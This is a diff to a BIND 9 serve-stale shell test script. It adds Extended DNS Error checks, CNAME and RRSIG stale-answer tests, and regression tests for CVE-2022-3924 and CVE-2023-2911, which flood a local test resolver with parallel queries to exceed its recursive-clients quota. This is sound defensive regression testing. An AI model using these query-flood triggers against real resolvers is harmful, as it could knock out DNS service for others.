+echo_i "check stale data.example TXT comes from cache (stale-answer-client-timeout 1.8) ($n)"
 ret=0
-wait_for_log 5 "data.example client timeout, stale answer used" ns3/named.run || ret=1
+wait_for_log 5 "data.example TXT client timeout, stale answer used" ns3/named.run || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (client timeout)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*3.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 # Configured stale-answer-client-timeout is 1.8s, we allow some extra time
@@ -1673,28 +1753,43 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale nodata.example comes from cache (stale-answer-client-timeout 1.8) ($n)"
+echo_i "check stale nodata.example TXT comes from cache (stale-answer-client-timeout 1.8) ($n)"
+ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (client timeout)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 grep "example\..*3.*IN.*SOA" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+n=$((n+1))
+echo_i "check stale data.slow TXT comes from cache (stale-answer-client-timeout 1.8) ($n)"
+ret=0
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (client timeout)" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
+grep "data\.slow\..*3.*IN.*TXT.*A slow text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
 # Now query for RRset not in cache. The first query should time out, but once
 # we enable the authoritative server, the second query should be able to get a
 # response.
 
 nextpart ns3/named.run > /dev/null
 
-echo_i "sending queries for tests $((n+2))-$((n+3))..."
-$DIG -p ${PORT} +tries=1 +timeout=3   @10.53.0.3 longttl.example TXT > dig.out.test$((n+2)) &
+echo_i "sending queries for tests $((n+2))-$((n+4))..."
+# first dig runs in background for 10 seconds, second in background for 3
+# seconds and the last for 3 seconds in the foreground.
+# the second RRSIG lookup triggers the issue in [GL #3622]
 $DIG -p ${PORT} +tries=1 +timeout=10  @10.53.0.3 longttl.example TXT > dig.out.test$((n+3)) &
+$DIG -p ${PORT} +tries=1 +timeout=3   @10.53.0.3 longttl.example RRSIG > dig.out.test$((n+4)) &
+$DIG -p ${PORT} +tries=1 +timeout=3   @10.53.0.3 longttl.example TXT > dig.out.test$((n+2)) || true
 
 # Enable the authoritative name server after stale-answer-client-timeout.
 n=$((n+1))
 echo_i "enable responses from authoritative server ($n)"
 ret=0
-sleep 3
 $DIG -p ${PORT} @10.53.0.2 txt enable  > dig.out.test$n
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "TXT.\"1\"" dig.out.test$n > /dev/null || ret=1
@@ -1702,28 +1797,49 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check not in cache longttl.example times out (stale-answer-client-timeout 1.8) ($n)"
+echo_i "check not in cache longttl.example TXT times out (stale-answer-client-timeout 1.8) ($n)"
 ret=0
-wait_for_log 3 "longttl.example client timeout, stale answer unavailable" ns3/named.run || ret=1
-check_results() {
-    [ -s "$1" ] || return 1
-    grep "connection timed out" "$1" > /dev/null || return 1
-    return 0
-}
-retry_quiet 3 check_results dig.out.test$n || ret=1
+wait_for_log 4 "longttl.example TXT client timeout, stale answer unavailable" ns3/named.run || ret=1
+grep "timed out" dig.out.test$n > /dev/null || ret=1
+grep ";; no servers could be reached" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+wait
+
+n=$((n+1))
+echo_i "check not in cache longttl.example TXT comes from authoritative (stale-answer-client-timeout 1.8) ($n)"
+ret=0
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
+grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check not in cache longttl.example comes from authoritative (stale-answer-client-timeout 1.8) ($n)"
+echo_i "check not in cache longttl.example RRSIG times out (stale-answer-client-timeout 1.8) ($n)"
 ret=0
-check_results() {
-    [ -s "$1" ] || return 1
-    grep "status: NOERROR" "$1" > /dev/null || return 1
-    grep "ANSWER: 1," "$1" > /dev/null || return 1
-    return 0
+grep "timed out" dig.out.test$n > /dev/null || ret=1
+grep ";; no servers could be reached" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+# CVE-2022-3924, GL #3619
+n=$((n+1))
+echo_i "check that named survives reaching recursive-clients quota (stale-answer-client-timeout 1.8) ($n)"
+ret=0
+num=0
+# Make sure to exceed the configured value of 'recursive-clients 10;' by running
+# 20 parallel queries with simulated network latency.
+while [ $num -lt 20 ]; do
+    $DIG +tries=1 -p ${PORT} @10.53.0.3 "latency${num}.data.example" TXT >/dev/null 2>&1 &
+    num=$((num+1))
+done;
+check_server_responds() {
+    $DIG -p ${PORT} @10.53.0.3 version.bind txt ch >dig.out.test$n || return 1
+    grep "status: NOERROR" dig.out.test$n > /dev/null || return 1
 }
-retry_quiet 7 check_results dig.out.test$n || ret=1
+retry_quiet 5 check_server_responds || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -1767,13 +1883,88 @@ status=$((status+ret))
 wait
 
 n=$((n+1))
-echo_i "check data.example comes from authoritative server (stale-answer-client-timeout off) ($n)"
+echo_i "check data.example TXT comes from authoritative server (stale-answer-client-timeout off) ($n)"
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*[12].*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+##############################################################
+# Test for stale-answer-client-timeout off and CNAME record. #
+##############################################################
+echo_i "test stale-answer-client-timeout (0) and CNAME record"
+
+n=$((n+1))
+echo_i "prime cache shortttl.cname.example (stale-answer-client-timeout off) ($n)"
+ret=0
+$DIG -p ${PORT} @10.53.0.3 shortttl.cname.example A > dig.out.test$n
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 2," dig.out.test$n > /dev/null || ret=1
+grep "shortttl\.cname\.example\..*1.*IN.*CNAME.*longttl\.target\.example\." dig.out.test$n > /dev/null || ret=1
+grep "longttl\.target\.example\..*600.*IN.*A.*10\.53\.0\.2" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+# Allow RRset to become stale.
+sleep 1
+
+n=$((n+1))
+echo_i "disable responses from authoritative server ($n)"
+ret=0
+$DIG -p ${PORT} @10.53.0.2 txt disable  > dig.out.test$n
+grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
+grep "TXT.\"0\"" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+ret=0
+echo_i "check stale shortttl.cname.example comes from cache (stale-answer-client-timeout off) ($n)"
+nextpart ns3/named.run > /dev/null
+$DIG -p ${PORT} @10.53.0.3 shortttl.cname.example A > dig.out.test$n
+wait_for_log 5 "shortttl.cname.example A resolver failure, stale answer used" ns3/named.run || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 2," dig.out.test$n > /dev/null || ret=1
+grep "shortttl\.cname\.example\..*3.*IN.*CNAME.*longttl\.target\.example\." dig.out.test$n > /dev/null || ret=1
+# We can't reliably test the TTL of the longttl.target.example A record.
+grep "longttl\.target\.example\..*IN.*A.*10\.53\.0\.2" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "enable responses from authoritative server ($n)"
+ret=0
+$DIG -p ${PORT} @10.53.0.2 txt enable  > dig.out.test$n
+grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
+grep "TXT.\"1\"" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "check server is alive or restart ($n)"
+ret=0
+$RNDCCMD 10.53.0.3 status > rndc.out.test$n 2>&1 || ret=1
+if [ $ret != 0 ]; then
+    echo_i "failed"
+    echo_i "restart ns3"
+    start_server --noclean --restart --port ${PORT} serve-stale ns3
+fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "check server is alive or restart ($n)"
+ret=0
+$RNDCCMD 10.53.0.3 status > rndc.out.test$n 2>&1 || ret=1
+if [ $ret != 0 ]; then
+    echo_i "failed"
+    echo_i "restart ns3"
+    start_server --noclean --restart --port ${PORT} serve-stale ns3
+fi
+status=$((status+ret))
+
 #############################################
 # Test for stale-answer-client-timeout 0.   #
 #############################################
@@ -1787,11 +1978,11 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 echo_i "restart ns3"
-$PERL ../stop.pl --use-rndc --port ${CONTROLPORT} serve-stale ns3
-start_server --noclean --restart --port ${PORT} serve-stale ns3
+stop_server --use-rndc --port ${CONTROLPORT} ns3
+start_server --noclean --restart --port ${PORT} ns3
 
 n=$((n+1))
-echo_i "prime cache data.example (stale-answer-client-timeout 0)"
+echo_i "prime cache data.example TXT (stale-answer-client-timeout 0)"
 ret=0
 $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -1800,7 +1991,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache nodata.example (stale-answer-client-timeout 0)"
+echo_i "prime cache nodata.example TXT (stale-answer-client-timeout 0)"
 ret=0
 $DIG -p ${PORT} @10.53.0.3 nodata.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -1822,11 +2013,12 @@ sleep 2
 
 n=$((n+1))
 ret=0
-echo_i "check stale nodata.example comes from cache (stale-answer-client-timeout 0) ($n)"
+echo_i "check stale nodata.example TXT comes from cache (stale-answer-client-timeout 0) ($n)"
 nextpart ns3/named.run > /dev/null
 $DIG -p ${PORT} @10.53.0.3 nodata.example TXT > dig.out.test$n
-wait_for_log 5 "nodata.example stale answer used, an attempt to refresh the RRset" ns3/named.run || ret=1
+wait_for_log 5 "nodata.example TXT stale answer used, an attempt to refresh the RRset" ns3/named.run || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (stale data prioritized over lookup)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 grep "example\..*3.*IN.*SOA" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -1834,11 +2026,12 @@ status=$((status+ret))
 
 n=$((n+1))
 ret=0
-echo_i "check stale data.example comes from cache (stale-answer-client-timeout 0) ($n)"
+echo_i "check stale data.example TXT comes from cache (stale-answer-client-timeout 0) ($n)"
 nextpart ns3/named.run > /dev/null
 $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
-wait_for_log 5 "data.example stale answer used, an attempt to refresh the RRset" ns3/named.run || ret=1
+wait_for_log 5 "data.example TXT stale answer used, an attempt to refresh the RRset" ns3/named.run || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (stale data prioritized over lookup)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*3.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -1854,8 +2047,11 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 wait_for_rrset_refresh() {
-	nextpart ns3/named.run | grep 'data.example.*2.*TXT.*"A text record with a 2 second ttl"' > /dev/null && return 0
-	return 1
+	$DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
+	grep "status: NOERROR" dig.out.test$n > /dev/null || return 1
+	grep "EDE" dig.out.test$n > /dev/null && return 1
+	grep "ANSWER: 1," dig.out.test$n > /dev/null || return 1
+	grep "data\.example\..*[12].*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || return 1
 }
 
 # This test ensures that after we get stale data due to
@@ -1863,12 +2059,8 @@ wait_for_rrset_refresh() {
 # the RRset to be updated.
 n=$((n+1))
 ret=0
-echo_i "check stale data.example was refreshed (stale-answer-client-timeout 0) ($n)"
+echo_i "check stale data.example TXT was refreshed (stale-answer-client-timeout 0) ($n)"
 retry_quiet 10 wait_for_rrset_refresh || ret=1
-$DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
-grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
-grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
-grep "data\.example\..*[12].*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -1882,11 +2074,151 @@ wait_for_nodata_refresh() {
 
 n=$((n+1))
 ret=0
-echo_i "check stale nodata.example was refreshed (stale-answer-client-timeout 0) ($n)"
+echo_i "check stale nodata.example TXT was refreshed (stale-answer-client-timeout 0) ($n)"
 retry_quiet 10 wait_for_nodata_refresh || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+####################################################################
+# Test for stale-answer-client-timeout 0 and recursive-clients 10. #
+# CVE-2023-2911, GL #4089                                          #
+# ##################################################################
+echo_i "test stale-answer-client-timeout (0) and recursive-clients 10"
+
+n=$((n+1))
+echo_i "prime cache data.slow TXT (stale-answer-client-timeout 0) ($n)"
+ret=0
+$DIG -p ${PORT} @10.53.0.3 data.slow TXT > dig.out.test$n
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+# Run the following check twice. Sometimes a priming query interrupts the first
+# attempt to exceed the quota.
+attempt=0
+while [ $ret -eq 0 ] && [ $attempt -lt 2 ]; do
+        n=$((n+1))
+        echo_i "slow down response from authoritative server ($n)"
+        ret=0
+        $DIG -p ${PORT} @10.53.0.2 slowdown TXT  > dig.out.test$n
+        grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
+        grep "TXT.\"1\"" dig.out.test$n > /dev/null || ret=1
+        if [ $ret != 0 ]; then echo_i "failed"; fi
+        status=$((status+ret))
+
+        # Let the data.slow TTL expire
+        sleep 2
+
+        n=$((n+1))
+        echo_i "check that named survives reaching recursive-clients quota (stale-answer-client-timeout 0) ($n)"
+        ret=0
+        num=0
+        # Attempt to exceed the configured value of 'recursive-clients 10;' by running
+        # 20 parallel queries for the stale domain which has slow auth.
+        while [ $num -lt 20 ]; do
+            $DIG +tries=1 +timeout=10 -p ${PORT} @10.53.0.3 data.slow TXT >/dev/null 2>&1 &
+            num=$((num+1))
+        done;
+        # Let the dig processes finish.
+        wait
+        retry_quiet 5 check_server_responds || ret=1
+        if [ $ret != 0 ]; then echo_i "failed"; fi
+        status=$((status+ret))
+
+        attempt=$((attempt+1))
+done
+
+# Restart ns3 to avoid the exceeded recursive-clients limit from previous check
+# to interfere with subsequent checks.
+echo_i "restart ns3"
+stop_server --use-rndc --port ${CONTROLPORT} ns3
+start_server --noclean --restart --port ${PORT} ns3
+
+############################################################
+# Test for stale-answer-client-timeout 0 and CNAME record. #
+############################################################
+echo_i "test stale-answer-client-timeout (0) and CNAME record"
+
+n=$((n+1))
+echo_i "prime cache cname1.stale.test A (stale-answer-client-timeout 0) ($n)"
+ret=0
+$DIG -p ${PORT} @10.53.0.3 cname1.stale.test A > dig.out.test$n
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 2," dig.out.test$n > /dev/null || ret=1
+grep "cname1\.stale\.test\..*1.*IN.*CNAME.*a1\.stale\.test\." dig.out.test$n > /dev/null || ret=1
+grep "a1\.stale\.test\..*1.*IN.*A.*192\.0\.2\.1" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+# Allow RRset to become stale.
+sleep 1
+
+n=$((n+1))
+ret=0
+echo_i "check stale cname1.stale.test A comes from cache (stale-answer-client-timeout 0) ($n)"
+nextpart ns3/named.run > /dev/null
+$DIG -p ${PORT} @10.53.0.3 cname1.stale.test A > dig.out.test$n
+wait_for_log 5 "cname1.stale.test A stale answer used, an attempt to refresh the RRset" ns3/named.run || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (stale data prioritized over lookup)" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 2," dig.out.test$n > /dev/null || ret=1
+grep "cname1\.stale\.test\..*3.*IN.*CNAME.*a1\.stale\.test\." dig.out.test$n > /dev/null || ret=1
+grep "a1\.stale\.test\..*3.*IN.*A.*192\.0\.2\.1" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "check server is alive or restart ($n)"
+ret=0
+$RNDCCMD 10.53.0.3 status > rndc.out.test$n 2>&1 || ret=1
+if [ $ret != 0 ]; then
+    echo_i "failed"
+    echo_i "restart ns3"
+    start_server --noclean --restart --port ${PORT} ns3
+fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "prime cache cname2.stale.test A (stale-answer-client-timeout 0) ($n)"
+ret=0
+$DIG -p ${PORT} @10.53.0.3 cname2.stale.test A > dig.out.test$n
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 2," dig.out.test$n > /dev/null || ret=1
+grep "cname2\.stale\.test\..*1.*IN.*CNAME.*a2\.stale\.test\." dig.out.test$n > /dev/null || ret=1
+grep "a2\.stale\.test\..*300.*IN.*A.*192\.0\.2\.2" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+# Allow CNAME record in the RRSET to become stale.
+sleep 1
+
+n=$((n+1))
+ret=0
+echo_i "check stale cname2.stale.test A comes from cache (stale-answer-client-timeout 0) ($n)"
+nextpart ns3/named.run > /dev/null
+$DIG -p ${PORT} @10.53.0.3 cname2.stale.test A > dig.out.test$n
+wait_for_log 5 "cname2.stale.test A stale answer used, an attempt to refresh the RRset" ns3/named.run || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (stale data prioritized over lookup)" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 2," dig.out.test$n > /dev/null || ret=1
+grep "cname2\.stale\.test\..*3.*IN.*CNAME.*a2\.stale\.test\." dig.out.test$n > /dev/null || ret=1
+# We can't reliably test the TTL of the a2.stale.test A record.
+grep "a2\.stale\.test\..*IN.*A.*192\.0\.2\.2" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "check server is alive or restart ($n)"
+ret=0
+$RNDCCMD 10.53.0.3 status > rndc.out.test$n 2>&1 || ret=1
+if [ $ret != 0 ]; then
+    echo_i "failed"
+    echo_i "restart ns3"
+    start_server --noclean --restart --port ${PORT} ns3
+fi
+status=$((status+ret))
+
 ####################################################################
 # Test for stale-answer-client-timeout 0 and stale-refresh-time 4. #
 ####################################################################
@@ -1917,7 +2249,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache data.example (stale-answer-client-timeout 0, stale-refresh-time 4) ($n)"
+echo_i "prime cache data.example TXT (stale-answer-client-timeout 0, stale-refresh-time 4) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -1940,11 +2272,12 @@ status=$((status+ret))
 
 n=$((n+1))
 ret=0
-echo_i "check stale data.example comes from cache (stale-answer-client-timeout 0 stale-refresh-time 4) ($n)"
+echo_i "check stale data.example TXT comes from cache (stale-answer-client-timeout 0 stale-refresh-time 4) ($n)"
 nextpart ns3/named.run > /dev/null
 $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
-wait_for_log 5 "data.example stale answer used, an attempt to refresh the RRset" ns3/named.run || ret=1
+wait_for_log 5 "data.example TXT stale answer used, an attempt to refresh the RRset" ns3/named.run || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (stale data prioritized over lookup)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*3.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -1964,12 +2297,8 @@ status=$((status+ret))
 # the RRset to be updated.
 n=$((n+1))
 ret=0
-echo_i "check stale data.example was refreshed (stale-answer-client-timeout 0 stale-refresh-time 4) ($n)"
+echo_i "check stale data.example TXT was refreshed (stale-answer-client-timeout 0 stale-refresh-time 4) ($n)"
 retry_quiet 10 wait_for_rrset_refresh || ret=1
-$DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
-grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
-grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
-grep "data\.example\..*[12].*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -1987,11 +2316,12 @@ status=$((status+ret))
 
 n=$((n+1))
 ret=0
-echo_i "check stale data.example comes from cache (stale-answer-client-timeout 0 stale-refresh-time 4) ($n)"
+echo_i "check stale data.example TXT comes from cache (stale-answer-client-timeout 0 stale-refresh-time 4) ($n)"
 nextpart ns3/named.run > /dev/null
 $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
-wait_for_log 5 "data.example stale answer used, an attempt to refresh the RRset" ns3/named.run || ret=1
+wait_for_log 5 "data.example TXT stale answer used, an attempt to refresh the RRset" ns3/named.run || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (stale data prioritized over lookup)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*3.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -2001,17 +2331,18 @@ status=$((status+ret))
 n=$((n+1))
 ret=0
 echo_i "wait until resolver query times out, activating stale-refresh-time"
-wait_for_log 15 "data.example resolver failure, stale answer used" ns3/named.run || ret=1
+wait_for_log 15 "data.example/TXT stale refresh failed: timed out" ns3/named.run || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
 ret=0
-echo_i "check stale data.example comes from cache within stale-refresh-time (stale-answer-client-timeout 0 stale-refresh-time 4) ($n)"
+echo_i "check stale data.example TXT comes from cache within stale-refresh-time (stale-answer-client-timeout 0 stale-refresh-time 4) ($n)"
 nextpart ns3/named.run > /dev/null
 $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
-wait_for_log 5 "data.example query within stale refresh time" ns3/named.run || ret=1
+wait_for_log 5 "data.example TXT query within stale refresh time" ns3/named.run || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (query within stale refresh time window)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*3.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -2033,11 +2364,12 @@ sleep 1
 
 n=$((n+1))
 ret=0
-echo_i "check stale data.example was not refreshed (stale-answer-client-timeout 0 stale-refresh-time 4) ($n)"
+echo_i "check stale data.example TXT was not refreshed (stale-answer-client-timeout 0 stale-refresh-time 4) ($n)"
 nextpart ns3/named.run > /dev/null
 $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
-wait_for_log 5 "data.example query within stale refresh time" ns3/named.run || ret=1
+wait_for_log 5 "data.example TXT query within stale refresh time" ns3/named.run || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (query within stale refresh time window)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*3.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -2048,10 +2380,11 @@ sleep 4
 
 n=$((n+1))
 ret=0
-echo_i "check stale data.example comes from cache (stale-answer-client-timeout 0 stale-refresh-time 4) ($n)"
+echo_i "check stale data.example TXT comes from cache (stale-answer-client-timeout 0 stale-refresh-time 4) ($n)"
 $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
-wait_for_log 5 "data.example stale answer used, an attempt to refresh the RRset" ns3/named.run || ret=1
+wait_for_log 5 "data.example TXT stale answer used, an attempt to refresh the RRset" ns3/named.run || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (stale data prioritized over lookup)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*3.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -2059,9 +2392,10 @@ status=$((status+ret))
 
 n=$((n+1))
 ret=0
-echo_i "check stale data.example was refreshed (stale-answer-client-timeout 0 stale-refresh-time 4) ($n)"
+echo_i "check stale data.example TXT was refreshed (stale-answer-client-timeout 0 stale-refresh-time 4) ($n)"
 $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*[12].*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -2115,7 +2449,7 @@ n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.3 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep '_default: on (rndc) (stale-answer-ttl=3 max-stale-ttl=3600 stale-refresh-time=4)' rndc.out.test$n > /dev/null || ret=1
+grep '_default: stale cache enabled; stale answers enabled (stale-answer-ttl=3 max-stale-ttl=3600 stale-refresh-time=4)' rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -2126,7 +2460,7 @@ burst() {
 	num=${1}
 	rm -f burst.input.$$
 	while [ $num -gt 0 ]; do
-		num=`expr $num - 1`
+		num=$((num - 1))
 		echo "fetch${num}.example A" >> burst.input.$$
 	done
 	$PERL ../ditch.pl -p ${PORT} -s 10.53.0.3 burst.input.$$
@@ -2153,11 +2487,12 @@ status=$((status+ret))
 # 'data.example/TXT' that can be used.
 n=$((n+1))
 ret=0
-echo_i "check stale data.example comes from cache (fetch-limits) ($n)"
+echo_i "check stale data.example TXT comes from cache (fetch-limits) ($n)"
 nextpart ns3/named.run > /dev/null
 $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
-wait_for_log 5 "data.example resolver failure, stale answer used" ns3/named.run || ret=1
+wait_for_log 5 "data.example TXT resolver failure, stale answer used" ns3/named.run || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*3.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -2166,11 +2501,12 @@ status=$((status+ret))
 # The previous query should not have started the stale-refresh-time window.
 n=$((n+1))
 ret=0
-echo_i "check stale data.example comes from cache again (fetch-limits) ($n)"
+echo_i "check stale data.example TXT comes from cache again (fetch-limits) ($n)"
 nextpart ns3/named.run > /dev/null
